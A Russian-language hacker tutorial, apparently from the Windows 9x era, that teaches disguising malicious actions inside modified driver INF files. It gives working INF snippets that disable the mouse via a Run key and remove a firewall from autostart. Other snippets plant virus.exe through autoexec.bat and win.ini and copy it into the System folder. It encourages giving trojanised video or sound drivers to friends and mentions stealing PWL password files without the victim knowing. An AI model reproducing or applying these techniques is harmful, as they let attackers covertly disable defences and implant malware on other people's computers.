Социальный фактор
Ничто так не интересует человека, как
лазание по чужому компьютеру. Особенно если
жертва ни о чем не догадывается 🙂 Но в последнее время люди начали боятся троянов,
как известно выполняемых в виде экзешников! И закачать свежие PWL с чужого винта становится все труднее и труднее... Наблюдая за всем этим процессом я заметил, что никто не боится драйверов. В день сотни людей качают дрова с левых сайтов и все ОК. Хмммм...
Странно, почему считается если нет exe-файла, то
и угрозы нет?
Скрытая угроза
Почему я заговорил о драйверах? Все дело в том, что Windows если устанавливает
какой-то драйвер, то запускает вовсе не исполняемый файл.
Вся информация об установке берется из INF файла. Этот файл обычный
- текстовый, его структура напоминает структуру INI файла. Давайте рассмотрим простой пример. Простой INF, который пропишет в автозагрузку выключение мышки 🙂
[version]
signature="$CHICAGO$"
; Функция AddReg - добавление в реестр.
; В Add.Reg указаны переменные которые следует изменить/создать
[DefaultInstall]
AddReg=Add.Reg
;Структура дынных - Ключ, "раздел", "переменная",
тип, "значение"
[Add.Reg]
HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run","virus",
0,"rundll mouse.exe,disable"
А теперь представьте, что вы модифицировали к примеру драйвер на видеокарту, добавив несколько строк 🙂 У вас выйдет ультра-модный драйвер для видюхи, который в придачу вырубает мышь! Дайте
свежий драйверок своему другу 🙂
Вот еще один пример. Мы знаем что на компьютере
стоит брандмауэер. Он загружается с реестра под именем "firewall-SUPER". Наша задача удалить его с автозагрузки... Модифицируем некий драйвер приводя его к виду:
[version]
signature="$CHICAGO$"
; Функция DelReg описана в разделе Del.Reg
[DefaultInstall]
DelReg=Del.Reg
; Структура практически та же
[Del.Reg]
HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "firewall-SUPER"
Но мы можем совмещать нужные нам действия. Вот так, например, можно выполнить и копирование и удаление с реестра:
[version]
signature="$CHICAGO$"
[DefaultInstall]
AddReg=Add.Reg
DelReg=Del.Reg
[Add.Reg]
HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run","virus",
0,"rundll mouse.exe,disable"
[Del.Reg]
HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "firewall-SUPER"
Теперь надеюсь основное понятно. Приступим к вскрытию...
Работа с диском
Что прекрасно так это то, что мы можем вносить изменения в файлы копировать их, удалять, etc. Допустим нам нужно загрузится еще в DOS-е чтобы пропатчить Windows. Без проблем! Вот пример:
[version]
signature="$CHICAGO$"
[DefaultInstall]
UpdateAutoBat=Update.AutoBat
[Update.AutoBat]
CmdAdd=VIRUS.EXE
Этим мы добавили вызов VIRUS.EXE еще до винды. Для удаления некой строки нужно указать
команду "CmdAdd" и имя проги. А если тебе надо внести некие изменения в
Win.ini/System.ini, то тут прокатит такой способ:
[version]
signature="$CHICAGO$"
[DefaultInstall]
UpdateInis=Update.Inis
; Структура - изменяемый_INI_файл, раздел, "ключ=значение"
[Update.Inis]
win.ini, windows,, "load=virus.exe"
Кому нужно что-нибудь удалить? Вам? Ну тогда держите:
[version]
signature="$CHICAGO$"
[DefaultInstall]
DelFiles=Delete.List
[Delete.List]
virus.exe,,
Эта конструкция удалит файл virus.exe с папки windows/system. А следующая его туда скопирует:
[version]
signature="$CHICAGO$"
;Указываем, что копировать надо в папку System. Ее ID=11
[DestinationDirs]
DefaultDestDir = 11
;Наша директория имеет ID=1
[SourceDisksNames]
1="",,0
;Копируем virus.exe с директории ID=1 (а это текущий каталог)
[SourceDisksFiles]
virus.exe=1
[DefaultInstall]
CopyFiles=Files.Copy
;В директорию у которой ID=11 (System)
[Files.Copy]
virus.exe
EOF
Все достаточно просто, нужно только потренироваться. Большое количество INF файлов хранится в c:\windows\inf. Там вы можете найти много простых файлов, которые послужат примером. Теперь владея основами строения INF файлов можно модифицировать любой драйвер под свои нужды. Согласитесь, достаточно мощное орудие в умных руках. Причем можно модифицировать и инсталлятор винды, и именно так делают лайтовые версии...
P.S.: А ты когда в последний раз устанавливал дрова на свою звуковуху? 🙂